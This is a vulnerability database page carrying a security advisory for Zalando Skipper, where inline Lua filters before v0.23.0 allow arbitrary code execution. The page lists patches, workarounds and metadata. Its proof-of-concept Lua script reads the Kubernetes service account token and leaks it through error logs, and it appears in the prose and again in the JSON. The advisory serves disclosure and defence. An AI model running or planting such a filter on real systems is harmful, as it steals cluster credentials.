GHSA-CC8M-98FM-RC9G

Vulnerability from github – Published: 2026-01-16 21:03 – Updated: 2026-01-16 21:57
VLAI?
Summary
Skipper is vulnerable to arbitrary code execution through lua filters
Details

Impact

Arbitrary code execution through lua filters.

The default skipper configuration before v0.23 was -lua-sources=inline,file. The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.

Kubernetes example (vulnerability is not limited to Kubernetes)

function request(ctx, params)
  local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
  if file then
    local token = file:read('*all')
    file:close()
    error('[EXFIL] ' .. token)  -- Exfiltrate via error logs
  end
end

Patches

https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.

Workarounds

You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.

References

https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources

Severity ?
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-522",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T21:03:34Z",
    "nvd_published_at": "2026-01-16T20:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nArbitrary code execution through [lua filters](https://opensource.zalando.com/skipper/reference/scripts/).\n\nThe default skipper configuration before v0.23 was `-lua-sources=inline,file`. \nThe problem starts if untrusted users can create lua filters, because of `-lua-sources=inline` , for example through a Kubernetes Ingress resource. The configuration `inline` allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.\n\nKubernetes example (vulnerability is not limited to Kubernetes)\n```lua\nfunction request(ctx, params)\n  local file = io.open(\u0027/var/run/secrets/kubernetes.io/serviceaccount/token\u0027, \u0027r\u0027)\n  if file then\n    local token = file:read(\u0027*all\u0027)\n    file:close()\n    error(\u0027[EXFIL] \u0027 .. token)  -- Exfiltrate via error logs\n  end\nend\n```\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.\n\n### Workarounds\n\nYou can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example `-lua-sources=file` will only be exploitable if the attacker can create a lua script file on the target system. \n\n### References\n\nhttps://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources",
  "id": "GHSA-cc8m-98fm-rc9g",
  "modified": "2026-01-16T21:57:03Z",
  "published": "2026-01-16T21:03:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-cc8m-98fm-rc9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/0b52894570773b29e2f3c571b94b4211ef8fa714"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper is vulnerable to arbitrary code execution through lua filters"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.